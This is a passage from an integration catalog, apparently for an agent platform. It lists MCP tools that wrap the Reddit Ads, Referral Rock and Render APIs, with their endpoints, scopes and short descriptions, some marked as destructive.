Scopes: adsedit. redditads_post_businesses_by_business_id_ad_accounts_query (write) — Query Ad Accounts: Find ad accounts in a business. (POST /api/v3/businesses/{business_id}/ad_accounts/query) POST /api/v1/redditads/businesses/{business_id}/ad_accounts/query. Scopes: adsread. redditads_post_businesses_by_business_id_funding_instruments_query (write) — Query Funding Instruments by Business: Find funding instruments in a business. (POST /api/v3/businesses/{business_id}/funding_instruments/query) POST /api/v1/redditads/businesses/{business_id}/funding_instruments/query. Scopes: adsread. redditads_post_businesses_by_business_id_product_catalogs (write) — Create Product Catalog: Create a new product catalog. Finish setup by [manually creating products](https://ads-api.reddit.com/docs/v3/operations/Batch%20Create%20Products) or [linking a product feed](https://ads-api.reddit.com/docs/v3/operations/Create%20Product%20Feed). (POST /api/v3/businesses/{business_id}/product_catalogs) POST /api/v1/redditads/businesses/{business_id}/product_catalogs. Scopes: adsedit. redditads_post_forecasting_bid_suggestions (write) — Generate Bid Suggestion: Retrieve bid suggestions based on recent auction outcomes for a given set of targeting, budget, and bidding parameters. Use the suggested range to choose a competitive bid. (POST /api/v3/forecasting/bid_suggestions) POST /api/v1/redditads/forecasting/bid_suggestions. Scopes: adsread. redditads_post_pixels_by_pixel_id_conversion_events (write) — Post Conversion Events: Post conversion events from a specific [action source](https://business.reddithelp.com/s/article/Conversions-API#measure-impact-across-channels). [Event deduplication](https://business.reddithelp.com/s/article/event-deduplication) applies only for events in the same channel. Learn more about [setting up CAPI events](https://ads-api.reddit.com/docs/v3/capi-direct-integration). > **Important:** The values for several fields—such as `tracking_type`—are different in CAPI v3. Learn how to [migrate from v2](https://ads-api.reddit.com/docs/v3/capi-migration). (POST /api/v3/pixels/{pixel_id}/conversion_events) POST /api/v1/redditads/pixels/{pixel_id}/conversion_events. Scopes: adsconversions. redditads_post_product_catalogs_by_catalog_id_product_feeds (write) — Create Product Feed: Set up a new feed for a catalog. Each catalog can contain up to 2 feeds, but they must be of different types. (POST /api/v3/product_catalogs/{catalog_id}/product_feeds) POST /api/v1/redditads/product_catalogs/{catalog_id}/product_feeds. Scopes: adsedit. redditads_post_product_catalogs_by_catalog_id_product_sets (write) — Create Product Set: Create a new product set in a catalog. (POST /api/v3/product_catalogs/{catalog_id}/product_sets) POST /api/v1/redditads/product_catalogs/{catalog_id}/product_sets. Scopes: adsedit. redditads_post_product_catalogs_by_catalog_id_products_batch_delete (write) — Batch Delete Products: Delete multiple products in a catalog. > **Important:** This action can't be undone. > **Note:** If using a schedule feed, update your feed to ensure your catalog is up to date. (POST /api/v3/product_catalogs/{catalog_id}/products/batch_delete) POST /api/v1/redditads/product_catalogs/{catalog_id}/products/batch_delete. Scopes: adsedit. redditads_post_product_catalogs_by_catalog_id_products_batch_upsert (write) — Batch Create Products: Create multiple products in a catalog. View our [catalog requirements](https://business.reddithelp.com/s/article/catalog-requirements). > **Note:** If using a schedule feed, update your feed to ensure your catalog is up to date. (POST /api/v3/product_catalogs/{catalog_id}/products/batch_upsert) POST /api/v1/redditads/product_catalogs/{catalog_id}/products/batch_upsert. Scopes: adsedit. redditads_post_profiles_by_profile_id_posts (write) — Create Post: Create a post. > **Note:** This is a legacy endpoint. Use [`Create Structured Post Creation Job`](https://ads-api.reddit.com/docs/v3/operations/Create%20Structured%20Post%20Creation%20Job) instead. (POST /api/v3/profiles/{profile_id}/posts) POST /api/v1/redditads/profiles/{profile_id}/posts. Scopes: adsedit. redditads_post_profiles_by_profile_id_structured_posts_jobs (write) — Create Structured Post Creation Job: Create a structured post creation job. (POST /api/v3/profiles/{profile_id}/structured_posts/jobs) POST /api/v1/redditads/profiles/{profile_id}/structured_posts/jobs. Scopes: adsedit. redditads_post_targeting_geolocations_validations (write) — Do Geolocation Validations: Verify whether certain geolocations are targetable. Invalid geolocations will return an error message. (POST /api/v3/targeting/geolocations_validations) POST /api/v1/redditads/targeting/geolocations_validations. Scopes: adsread. redditads_post_targeting_keyword_suggestions (write) — List Keyword Suggestions: Retrieve keyword suggestions seeded from a list of input terms. Each suggestion includes its monthly view count. (POST /api/v3/targeting/keyword_suggestions) POST /api/v1/redditads/targeting/keyword_suggestions. Scopes: adsread. redditads_post_targeting_keyword_validations (write) — Do Keyword Validations: Validate whether certain [keywords are targetable](https://business.reddithelp.com/s/article/reddit-audiences#keyword-targeting). (POST /api/v3/targeting/keyword_validations) POST /api/v1/redditads/targeting/keyword_validations. Scopes: adsread. ================================================================================ ## Referral Rock URL: https://www.agenticfabriq.com/integrations/referralrock Section: Integrated Tools Referral Rock — 40 MCP tools Provider key: referralrock. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. referralrock_delete_api_email_removeunsubscribe (write, destructive) — Remove Email Address from unsubscribe list. Same action as referralrock_post_api_email_removeunsubscribe; Referral Rock serves it on both verbs. (DELETE /api/email/removeunsubscribe) DELETE /api/v1/referralrock/api/email/removeunsubscribe. Scopes: api. referralrock_delete_api_hooks (write, destructive) — This endpoint allows a client to unsubscribe from an event of interest. Afterwards, when the event occurs, the no data will be sent to the previously specified url. (DELETE /api/hooks) DELETE /api/v1/referralrock/api/hooks. Scopes: api. referralrock_delete_api_members_remove (write, destructive) — Deletes members of a referral program. For each member, a query object is specified to identiy the member to delete. At a minimum, a query object requires either a valid value in primaryInfo or a valid element in both the secondaryInfo and tertiaryInfo elements. A member will only be deleted if it can be uniquely identifier by the query. Same action as referralrock_post_api_members_remove; Referral Rock serves it on both verbs. (DELETE /api/members/remove) DELETE /api/v1/referralrock/api/members/remove. Scopes: api. referralrock_delete_api_referral_remove (write, destructive) — Deletes referrals in a referral program. For each referral, a query object is specified to identiy the referral to delete. At a minimum, a query object requires either a valid value in primaryInfo or a valid element in both the secondaryInfo and tertiaryInfo elements. A referral will only be deleted if it can be uniquely identifier by the query. Same action as referralrock_post_api_referral_remove; Referral Rock serves it on both verbs. (DELETE /api/referral/remove) DELETE /api/v1/referralrock/api/referral/remove. Scopes: api. referralrock_delete_api_rewards_remove (write, destructive) — Deletes a reward from a member or referral of a referral program. Same action as referralrock_post_api_rewards_remove; Referral Rock serves it on both verbs. (DELETE /api/rewards/remove) DELETE /api/v1/referralrock/api/rewards/remove. Scopes: api. referralrock_get_api_email_getunsubscribed (read) — Get all unsubscribed emails or by email address. (GET /api/email/getunsubscribed) GET /api/v1/referralrock/api/email/getunsubscribed. Scopes: api. referralrock_get_api_hooks_history_by_eventname (read) — DEPRECATED - use GET api/v2/hooks/history/{eventName} instead. That version returns each event in the shape our webhooks actually send, and accepts a count parameter. Two differences to expect when you switch: it returns at most 25 items unless you pass a larger count, and it omits any event it cannot render in webhook shape (EmailUnsubscribed is stored as a bare email address, so v2 returns nothing for it). This version returns the raw log shape and applies no record limit, so a busy event can produce a very large response. History is kept for about seven days. (GET /api/hooks/history/{eventName}) GET /api/v1/referralrock/api/hooks/history/{eventName}. Scopes: api. referralrock_get_api_members (read) — Get a list of members ordered by create date. The list can be filtered by program. The offset and count parameters can be used to specify the set of members. (GET /api/members) GET /api/v1/referralrock/api/members. Scopes: api. referralrock_get_api_memberstats_getsingle (read) — Get statistics about a member's sharing, referral, and reward activities. (GET /api/memberstats/getsingle) GET /api/v1/referralrock/api/memberstats/getsingle. Scopes: api. referralrock_get_api_payouts_by_id (read) — Get a list of payouts. (GET /api/payouts/{id}) GET /api/v1/referralrock/api/payouts/{id}. Scopes: api. referralrock_get_api_payouts_pending (read) — A collection of payouts yet to be transferred to a member. This can be filtered by the member. (GET /api/payouts/pending) GET /api/v1/referralrock/api/payouts/pending. Scopes: api. referralrock_get_api_payouts_transactions (read) — A collection of transactions that represent payouts transferred to participants of a referral program. This can be filtered by recipient or transactionId. (GET /api/payouts/transactions) GET /api/v1/referralrock/api/payouts/transactions. Scopes: api. referralrock_get_api_program_getsingle (read) — Get a single program by name. (GET /api/program/getsingle) GET /api/v1/referralrock/api/program/getsingle. Scopes: api. referralrock_get_api_programs (read) — Get a list of referral programs. The offset and count parameters can be used to specify the set of programs. (GET /api/programs) GET /api/v1/referralrock/api/programs. Scopes: api. referralrock_get_api_referral_single (read) — Get a single Referral. At least one of email, referralId or externalId is required. (GET /api/referral/single) GET /api/v1/referralrock/api/referral/single. Scopes: api. referralrock_get_api_referrals (read) — Get a list of referrals ordered by create date. The list can be filtered by program. The offset and count parameters can be used to specify the set of referrals. (GET /api/referrals) GET /api/v1/referralrock/api/referrals. Scopes: api. referralrock_get_api_rewardrules (read) — Gets a list of member rewards rules. (GET /api/rewardrules) GET /api/v1/referralrock/api/rewardrules. Scopes: api. referralrock_get_api_rewards (read) — Gets a list of rewards ordered by create date. The offset and count parameters can be used to specify the set of rewards. (GET /api/rewards) GET /api/v1/referralrock/api/rewards. Scopes: api. referralrock_get_api_v2_hooks_history_by_eventname (read) — Get a list of history items with the response matching the output of our webhooks, newest first. History is kept for about seven days, so a request returns up to that much or up to 5000 items, whichever is reached first. (GET /api/v2/hooks/history/{eventName}) GET /api/v1/referralrock/api/v2/hooks/history/{eventName}. Scopes: api. referralrock_post_api_customerfeed (write) — Each customer added will update any matching referrals to approved and add them as a pre-loaded member based on your account's settings. Approving a referral triggers any configured rewards; customers with no matching referral are added as pre-loaded members to every program with the Preload New Customers setting on. (POST /api/customerfeed) POST /api/v1/referralrock/api/customerfeed. Scopes: api. referralrock_post_api_customerfeeds (write) — Each customer added will update any matching referrals to approved and add them as a pre-loaded member based on your account's settings. Each record is processed independently and the response includes a per-record outcome in the same order as the input. Larger integrations should use the CSV bulk import in the admin UI. (POST /api/customerfeeds) POST /api/v1/referralrock/api/customerfeeds. Scopes: api. referralrock_post_api_email_removeunsubscribe (write, destructive) — Remove Email Address from unsubscribe list. (POST /api/email/removeunsubscribe) POST /api/v1/referralrock/api/email/removeunsubscribe. Scopes: api. referralrock_post_api_email_unsubscribe (write) — Unsubscribe Email Address. (POST /api/email/unsubscribe) POST /api/v1/referralrock/api/email/unsubscribe. Scopes: api. referralrock_post_api_hooks (write) — This endpoint allows a client to specify a url to send data to in the event that an event of interest occurs. When these events occur, the url will receive a POST request with a JSON body of the element in question. These element will match the elements contained in a GET call to the Referral Rock Apis. (POST /api/hooks) POST /api/v1/referralrock/api/hooks. Scopes: api. referralrock_post_api_invitefeed (write) — DEPRECATED: Please use the customer feed endpoint instead: https://api.referralrock.com/Help/Api/POST-api-customerfeed Add a single contact to be used with automatic invites. (POST /api/invitefeed) POST /api/v1/referralrock/api/invitefeed. Scopes: api. referralrock_post_api_memberaccess (write) — DEPRECATED: Please use the memberaccessurls endpoint instead: https://api.referralrock.com/Help/Api/POST-api-memberaccessurls. (POST /api/memberaccess) POST /api/v1/referralrock/api/memberaccess. Scopes: api. referralrock_post_api_memberaccessurls (write) — Create a custom member share experience or securely embed the Member Portal or Share Widget in your app. This endpoint returns a Member's unique share links and access links for their portal or share widget. Exactly one search parameter is required: memberId, referralCode, emailAddress or externalId. (POST /api/memberaccessurls) POST /api/v1/referralrock/api/memberaccessurls. Scopes: api. referralrock_post_api_members (write) — Creates a new member and adds it to a referral program. (POST /api/members) POST /api/v1/referralrock/api/members. Scopes: api. referralrock_post_api_members_remove (write, destructive) — Deletes members of a referral program. For each member, a query object is specified to identiy the member to delete. At a minimum, a query object requires either a valid value in primaryInfo or a valid element in both the secondaryInfo and tertiaryInfo elements. A member will only be deleted if it can be uniquely identifier by the query. (POST /api/members/remove) POST /api/v1/referralrock/api/members/remove. Scopes: api. referralrock_post_api_members_update (write) — Updates members of a referral program. For each member, a query object is specified to identify the member to update and a member object is specified to identify the elements to update. At a minimum, a query object requires either a valid value in primaryInfo or a valid element in both the secondaryInfo and tertiaryInfo elements. A member will only be updated if it can be uniquely identifier by the query. (POST /api/members/update) POST /api/v1/referralrock/api/members/update. Scopes: api. referralrock_post_api_payouts_transactions (write, destructive) — Payout pending rewards. Returns transactions of issued rewards. Pays out real rewards to program participants through the account's configured payout method; a completed payout cannot be reversed here. (POST /api/payouts/transactions) POST /api/v1/referralrock/api/payouts/transactions. Scopes: api. referralrock_post_api_referral_remove (write, destructive) — Deletes referrals in a referral program. For each referral, a query object is specified to identiy the referral to delete. At a minimum, a query object requires either a valid value in primaryInfo or a valid element in both the secondaryInfo and tertiaryInfo elements. A referral will only be deleted if it can be uniquely identifier by the query. (POST /api/referral/remove) POST /api/v1/referralrock/api/referral/remove. Scopes: api. referralrock_post_api_referral_update (write) — Updates referrals in a referral program. For each referral, a query object is specified to identify the referral to update and a referral object is specified to identify the elements to update. At a minimum, a query object requires either a valid value in primaryInfo or a valid element in both the secondaryInfo and tertiaryInfo elements. A referral will only be updated if it can be uniquely identifier by the query. (POST /api/referral/update) POST /api/v1/referralrock/api/referral/update. Scopes: api. referralrock_post_api_referralaction (write) — Creates a new Referral Action to be used for processing new recurring rewards. (POST /api/referralaction) POST /api/v1/referralrock/api/referralaction. Scopes: api. referralrock_post_api_referrals (write) — Adds referral to a referral program based on a referral code from a member. (POST /api/referrals) POST /api/v1/referralrock/api/referrals. Scopes: api. referralrock_post_api_referrals_status (write) — Updates the status of a referral. ("Going to be deprecated" please use POST api/referral/update). (POST /api/referrals/status) POST /api/v1/referralrock/api/referrals/status. Scopes: api. referralrock_post_api_rewards (write) — Creates new rewards members and referrals of a referral program. Creates rewards that the program's rules may issue or pay out. (POST /api/rewards) POST /api/v1/referralrock/api/rewards. Scopes: api. referralrock_post_api_rewards_issue (write) — Issue a specific reward. Issuing a reward can deliver real value to its recipient through the program's configured reward method. (POST /api/rewards/issue) POST /api/v1/referralrock/api/rewards/issue. Scopes: api. referralrock_post_api_rewards_remove (write, destructive) — Deletes a reward from a member or referral of a referral program. (POST /api/rewards/remove) POST /api/v1/referralrock/api/rewards/remove. Scopes: api. referralrock_post_api_rewards_update (write) — Updates rewards from a referral program. (POST /api/rewards/update) POST /api/v1/referralrock/api/rewards/update. Scopes: api. ================================================================================ ## Render URL: https://www.agenticfabriq.com/integrations/render Section: Integrated Tools Render — 206 MCP tools Provider key: render. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. render_delete_blueprints_by_blueprintid (write, destructive) — Disconnect Blueprint via DELETE /blueprints/{blueprintId} DELETE /api/v1/render/blueprints/{blueprintId}. Scopes: api. render_delete_cron_jobs_by_cronjobid_runs (write, destructive) — Cancel running cron job via DELETE /cron-jobs/{cronJobId}/runs DELETE /api/v1/render/cron-jobs/{cronJobId}/runs. Scopes: api. render_delete_dedicated_ips_by_dedicatedipid (write, destructive) — Delete dedicated IP set via DELETE /dedicated-ips/{dedicatedIpId} DELETE /api/v1/render/dedicated-ips/{dedicatedIpId}. Scopes: api. render_delete_disks_by_diskid (write, destructive) — Delete disk via DELETE /disks/{diskId} DELETE /api/v1/render/disks/{diskId}. Scopes: api. render_delete_env_groups_by_envgroupid (write, destructive) — Delete environment group via DELETE /env-groups/{envGroupId} DELETE /api/v1/render/env-groups/{envGroupId}. Scopes: api. render_delete_env_groups_by_envgroupid_env_vars_by_envvarkey (write, destructive) — Remove environment variable via DELETE /env-groups/{envGroupId}/env-vars/{envVarKey} DELETE /api/v1/render/env-groups/{envGroupId}/env-vars/{envVarKey}. Scopes: api. render_delete_env_groups_by_envgroupid_secret_files_by_envvarkey (write, destructive) — Remove secret file via DELETE /env-groups/{envGroupId}/secret-files/{envVarKey} DELETE /api/v1/render/env-groups/{envGroupId}/secret-files/{envVarKey}. Scopes: api. render_delete_env_groups_by_envgroupid_services_by_serviceid (write, destructive) — Unlink service via DELETE /env-groups/{envGroupId}/services/{serviceId} DELETE /api/v1/render/env-groups/{envGroupId}/services/{serviceId}. Scopes: api. render_delete_environments_by_environmentid (write, destructive) — Delete environment via DELETE /environments/{environmentId} DELETE /api/v1/render/environments/{environmentId}. Scopes: api. render_delete_environments_by_environmentid_resources (write, destructive) — Remove resources from environment via DELETE /environments/{environmentId}/resources DELETE /api/v1/render/environments/{environmentId}/resources. Scopes: api. render_delete_key_value_by_redisid (write, destructive) — Delete Key Value instance via DELETE /key-value/{redisId} DELETE /api/v1/render/key-value/{redisId}. Scopes: api. render_delete_logs_streams_owner_by_ownerid (write, destructive) — Delete log stream via DELETE /logs/streams/owner/{ownerId} DELETE /api/v1/render/logs/streams/owner/{ownerId}. Scopes: api. render_delete_logs_streams_resource_by_resourceid (write, destructive) — Delete log stream override via DELETE /logs/streams/resource/{resourceId} DELETE /api/v1/render/logs/streams/resource/{resourceId}. Scopes: api. render_delete_metrics_stream_by_ownerid (write, destructive) — Delete metrics stream via DELETE /metrics-stream/{ownerId} DELETE /api/v1/render/metrics-stream/{ownerId}. Scopes: api. render_delete_owners_by_ownerid_members_by_userid (write, destructive) — Remove workspace member via DELETE /owners/{ownerId}/members/{userId} DELETE /api/v1/render/owners/{ownerId}/members/{userId}. Scopes: api. render_delete_postgres_by_postgresid (write, destructive) — Delete Postgres instance via DELETE /postgres/{postgresId} DELETE /api/v1/render/postgres/{postgresId}. Scopes: api. render_delete_postgres_by_postgresid_credentials_by_username (write, destructive) — Delete PostgreSQL User via DELETE /postgres/{postgresId}/credentials/{username} DELETE /api/v1/render/postgres/{postgresId}/credentials/{username}. Scopes: api. render_delete_projects_by_projectid (write, destructive) — Delete project via DELETE /projects/{projectId} DELETE /api/v1/render/projects/{projectId}. Scopes: api. render_delete_redis_by_redisid (write, destructive) — Delete Redis instance via DELETE /redis/{redisId} DELETE /api/v1/render/redis/{redisId}. Scopes: api. render_delete_registrycredentials_by_registrycredentialid (write, destructive) — Delete registry credential via DELETE /registrycredentials/{registryCredentialId} DELETE /api/v1/render/registrycredentials/{registryCredentialId}. Scopes: api. render_delete_services_by_serviceid (write, destructive) — Delete service via DELETE /services/{serviceId} DELETE /api/v1/render/services/{serviceId}. Scopes: api. render_delete_services_by_serviceid_autoscaling (write, destructive) — Delete autoscaling config via DELETE /services/{serviceId}/autoscaling DELETE /api/v1/render/services/{serviceId}/autoscaling. Scopes: api. render_delete_services_by_serviceid_custom_domains_by_customdomainnameorid (write, destructive) — Delete custom domain via DELETE /services/{serviceId}/custom-domains/{customDomainNameOrID} DELETE /api/v1/render/services/{serviceId}/custom-domains/{customDomainNameOrID}. Scopes: api. render_delete_services_by_serviceid_env_vars_by_envvarkey (write, destructive) — Delete environment variable via DELETE /services/{serviceId}/env-vars/{envVarKey} DELETE /api/v1/render/services/{serviceId}/env-vars/{envVarKey}. Scopes: api. render_delete_services_by_serviceid_headers_by_headerid (write, destructive) — Delete header rule via DELETE /services/{serviceId}/headers/{headerId} DELETE /api/v1/render/services/{serviceId}/headers/{headerId}. Scopes: api. render_delete_services_by_serviceid_routes_by_routeid (write, destructive) — Delete redirect/rewrite rule via DELETE /services/{serviceId}/routes/{routeId} DELETE /api/v1/render/services/{serviceId}/routes/{routeId}. Scopes: api. render_delete_services_by_serviceid_secret_files_by_envvarkey (write, destructive) — Delete secret file via DELETE /services/{serviceId}/secret-files/{envVarKey} DELETE /api/v1/render/services/{serviceId}/secret-files/{envVarKey}. Scopes: api. render_delete_task_runs_by_taskrunid (write, destructive) — Cancel task run via DELETE /task-runs/{taskRunId} DELETE /api/v1/render/task-runs/{taskRunId}. Scopes: api. render_delete_webhooks_by_webhookid (write, destructive) — Delete a webhook via DELETE /webhooks/{webhookId} DELETE /api/v1/render/webhooks/{webhookId}. Scopes: api. render_delete_workflows_by_workflowid (write, destructive) — Delete workflow via DELETE /workflows/{workflowId} DELETE /api/v1/render/workflows/{workflowId}. Scopes: api. render_get_blueprints (read) — List Blueprints via GET /blueprints GET /api/v1/render/blueprints. Scopes: api. render_get_blueprints_by_blueprintid (read) — Retrieve Blueprint via GET /blueprints/{blueprintId} GET /api/v1/render/blueprints/{blueprintId}. Scopes: api. render_get_blueprints_by_blueprintid_syncs (read) — List Blueprint syncs via GET /blueprints/{blueprintId}/syncs GET /api/v1/render/blueprints/{blueprintId}/syncs. Scopes: api. render_get_dedicated_ips (read) — List dedicated IPs via GET /dedicated-ips GET /api/v1/render/dedicated-ips. Scopes: api. render_get_dedicated_ips_by_dedicatedipid (read) — Retrieve dedicated IP set via GET /dedicated-ips/{dedicatedIpId} GET /api/v1/render/dedicated-ips/{dedicatedIpId}. Scopes: api. render_get_disks (read) — List disks via GET /disks GET /api/v1/render/disks. Scopes: api. render_get_disks_by_diskid (read) — Retrieve disk via GET /disks/{diskId} GET /api/v1/render/disks/{diskId}. Scopes: api. render_get_disks_by_diskid_snapshots (read) — List snapshots via GET /disks/{diskId}/snapshots GET /api/v1/render/disks/{diskId}/snapshots. Scopes: api. render_get_env_groups (read) — List environment groups via GET /env-groups GET /api/v1/render/env-groups. Scopes: api. render_get_env_groups_by_envgroupid (read) — Retrieve environment group via GET /env-groups/{envGroupId} GET /api/v1/render/env-groups/{envGroupId}. Scopes: api. render_get_env_groups_by_envgroupid_env_vars_by_envvarkey (read) — Retrieve environment variable (env-groups) via GET /env-groups/{envGroupId}/env-vars/{envVarKey} GET /api/v1/render/env-groups/{envGroupId}/env-vars/{envVarKey}. Scopes: api. render_get_env_groups_by_envgroupid_secret_files_by_envvarkey (read) — Retrieve secret file (env-groups) via GET /env-groups/{envGroupId}/secret-files/{envVarKey} GET /api/v1/render/env-groups/{envGroupId}/secret-files/{envVarKey}. Scopes: api. render_get_environments (read) — List environments via GET /environments GET /api/v1/render/environments. Scopes: api. render_get_environments_by_environmentid (read) — Retrieve environment via GET /environments/{environmentId} GET /api/v1/render/environments/{environmentId}. Scopes: api. render_get_events_by_eventid (read) — Retrieve event via GET /events/{eventId} GET /api/v1/render/events/{eventId}. Scopes: api. render_get_key_value (read) — List Key Value instances via GET /key-value GET /api/v1/render/key-value. Scopes: api. render_get_key_value_by_redisid (read) — Retrieve Key Value instance via GET /key-value/{redisId} GET /api/v1/render/key-value/{redisId}. Scopes: api. render_get_key_value_by_redisid_connection_info (read) — Retrieve Key Value connection info via GET /key-value/{redisId}/connection-info GET /api/v1/render/key-value/{redisId}/connection-info. Scopes: api. render_get_logs (read) — List logs via GET /logs GET /api/v1/render/logs. Scopes: api. render_get_logs_streams_owner_by_ownerid (read) — Retrieve log stream via GET /logs/streams/owner/{ownerId} GET /api/v1/render/logs/streams/owner/{ownerId}. Scopes: api. render_get_logs_streams_resource (read) — List log stream overrides via GET /logs/streams/resource GET /api/v1/render/logs/streams/resource. Scopes: api. render_get_logs_streams_resource_by_resourceid (read) — Retrieve log stream override via GET /logs/streams/resource/{resourceId} GET /api/v1/render/logs/streams/resource/{resourceId}. Scopes: api. render_get_logs_subscribe (read) — Subscribe to new logs via GET /logs/subscribe GET /api/v1/render/logs/subscribe. Scopes: api. render_get_logs_values (read) — List log label values via GET /logs/values GET /api/v1/render/logs/values. Scopes: api. render_get_maintenance (read) — List maintenance runs via GET /maintenance GET /api/v1/render/maintenance. Scopes: api. render_get_maintenance_by_maintenancerunid (read) — Retrieve maintenance run via GET /maintenance/{maintenanceRunID} GET /api/v1/render/maintenance/{maintenanceRunID}. Scopes: api. render_get_metrics_active_connections (read) — Get active connection count via GET /metrics/active-connections GET /api/v1/render/metrics/active-connections. Scopes: api. render_get_metrics_bandwidth (read) — Get bandwidth usage via GET /metrics/bandwidth GET /api/v1/render/metrics/bandwidth. Scopes: api. render_get_metrics_bandwidth_sources (read) — Get bandwidth usage breakdown by traffic source via GET /metrics/bandwidth-sources GET /api/v1/render/metrics/bandwidth-sources. Scopes: api. render_get_metrics_cpu (read) — Get CPU usage via GET /metrics/cpu GET /api/v1/render/metrics/cpu. Scopes: api. render_get_metrics_cpu_limit (read) — Get CPU limit via GET /metrics/cpu-limit GET /api/v1/render/metrics/cpu-limit. Scopes: api. render_get_metrics_cpu_target (read) — Get CPU target via GET /metrics/cpu-target GET /api/v1/render/metrics/cpu-target. Scopes: api. render_get_metrics_disk_capacity (read) — Get disk capacity via GET /metrics/disk-capacity GET /api/v1/render/metrics/disk-capacity. Scopes: api. render_get_metrics_disk_usage (read) — Get disk usage via GET /metrics/disk-usage GET /api/v1/render/metrics/disk-usage. Scopes: api. render_get_metrics_filters_application (read) — List queryable instance values via GET /metrics/filters/application GET /api/v1/render/metrics/filters/application. Scopes: api. render_get_metrics_filters_http (read) — List queryable status codes and host values via GET /metrics/filters/http GET /api/v1/render/metrics/filters/http. Scopes: api. render_get_metrics_filters_path (read) — List queryable paths via GET /metrics/filters/path GET /api/v1/render/metrics/filters/path. Scopes: api. render_get_metrics_http_latency (read) — Get HTTP latency via GET /metrics/http-latency GET /api/v1/render/metrics/http-latency. Scopes: api. render_get_metrics_http_requests (read) — Get HTTP request count via GET /metrics/http-requests GET /api/v1/render/metrics/http-requests. Scopes: api. render_get_metrics_instance_count (read) — Get instance count via GET /metrics/instance-count GET /api/v1/render/metrics/instance-count. Scopes: api. render_get_metrics_memory (read) — Get memory usage via GET /metrics/memory GET /api/v1/render/metrics/memory. Scopes: api. render_get_metrics_memory_limit (read) — Get memory limit via GET /metrics/memory-limit GET /api/v1/render/metrics/memory-limit. Scopes: api. render_get_metrics_memory_target (read) — Get memory target via GET /metrics/memory-target GET /api/v1/render/metrics/memory-target. Scopes: api. render_get_metrics_replication_lag (read) — Get replica lag via GET /metrics/replication-lag GET /api/v1/render/metrics/replication-lag. Scopes: api. render_get_metrics_stream_by_ownerid (read) — Retrieve metrics stream via GET /metrics-stream/{ownerId} GET /api/v1/render/metrics-stream/{ownerId}. Scopes: api. render_get_metrics_task_runs_completed (read) — Get task runs completed count via GET /metrics/task-runs-completed GET /api/v1/render/metrics/task-runs-completed. Scopes: api. render_get_metrics_task_runs_queued (read) — Get task runs queued count via GET /metrics/task-runs-queued GET /api/v1/render/metrics/task-runs-queued. Scopes: api. render_get_notification_settings_overrides (read) — List notification overrides via GET /notification-settings/overrides GET /api/v1/render/notification-settings/overrides. Scopes: api. render_get_notification_settings_overrides_services_by_serviceid (read) — Retrieve notification override via GET /notification-settings/overrides/services/{serviceId} GET /api/v1/render/notification-settings/overrides/services/{serviceId}. Scopes: api. render_get_notification_settings_owners_by_ownerid (read) — Retrieve notification settings via GET /notification-settings/owners/{ownerId} GET /api/v1/render/notification-settings/owners/{ownerId}. Scopes: api. render_get_organizations_by_orgid_audit_logs (read) — List organization audit logs via GET /organizations/{orgId}/audit-logs GET /api/v1/render/organizations/{orgId}/audit-logs. Scopes: api. render_get_owners (read) — List workspaces via GET /owners GET /api/v1/render/owners. Scopes: api. render_get_owners_by_ownerid (read) — Retrieve workspace via GET /owners/{ownerId} GET /api/v1/render/owners/{ownerId}. Scopes: api. render_get_owners_by_ownerid_audit_logs (read) — List workspace audit logs via GET /owners/{ownerId}/audit-logs GET /api/v1/render/owners/{ownerId}/audit-logs. Scopes: api. render_get_owners_by_ownerid_members (read) — List workspace members via GET /owners/{ownerId}/members GET /api/v1/render/owners/{ownerId}/members. Scopes: api. render_get_postgres (read) — List Postgres instances via GET /postgres GET /api/v1/render/postgres. Scopes: api. render_get_postgres_by_postgresid (read) — Retrieve Postgres instance via GET /postgres/{postgresId} GET /api/v1/render/postgres/{postgresId}. Scopes: api. render_get_postgres_by_postgresid_connection_info (read) — Retrieve Postgres connection info via GET /postgres/{postgresId}/connection-info GET /api/v1/render/postgres/{postgresId}/connection-info. Scopes: api. render_get_postgres_by_postgresid_credentials (read) — List PostgreSQL Users via GET /postgres/{postgresId}/credentials GET /api/v1/render/postgres/{postgresId}/credentials. Scopes: api. render_get_postgres_by_postgresid_export (read) — List Postgres exports via GET /postgres/{postgresId}/export GET /api/v1/render/postgres/{postgresId}/export. Scopes: api. render_get_postgres_by_postgresid_query_processes (read) — List live queries via GET /postgres/{postgresId}/query/processes GET /api/v1/render/postgres/{postgresId}/query/processes. Scopes: api. render_get_postgres_by_postgresid_query_sizes (read) — List database, table, and index sizes via GET /postgres/{postgresId}/query/sizes GET /api/v1/render/postgres/{postgresId}/query/sizes. Scopes: api. render_get_postgres_by_postgresid_query_table_scans (read) — List table scans via GET /postgres/{postgresId}/query/table-scans GET /api/v1/render/postgres/{postgresId}/query/table-scans. Scopes: api. render_get_postgres_by_postgresid_query_top_queries (read) — List top queries via GET /postgres/{postgresId}/query/top-queries GET /api/v1/render/postgres/{postgresId}/query/top-queries. Scopes: api. render_get_postgres_by_postgresid_recovery (read) — Retrieve point-in-time recovery status via GET /postgres/{postgresId}/recovery GET /api/v1/render/postgres/{postgresId}/recovery. Scopes: api. render_get_projects (read) — List projects via GET /projects GET /api/v1/render/projects. Scopes: api. render_get_projects_by_projectid (read) — Retrieve Project via GET /projects/{projectId} GET /api/v1/render/projects/{projectId}. Scopes: api. render_get_redis (read) — List Redis instances via GET /redis GET /api/v1/render/redis. Scopes: api. render_get_redis_by_redisid (read) — Retrieve Redis instance via GET /redis/{redisId} GET /api/v1/render/redis/{redisId}. Scopes: api. render_get_redis_by_redisid_connection_info (read) — Retrieve Redis connection info via GET /redis/{redisId}/connection-info GET /api/v1/render/redis/{redisId}/connection-info. Scopes: api. render_get_registrycredentials (read) — List registry credentials via GET /registrycredentials GET /api/v1/render/registrycredentials. Scopes: 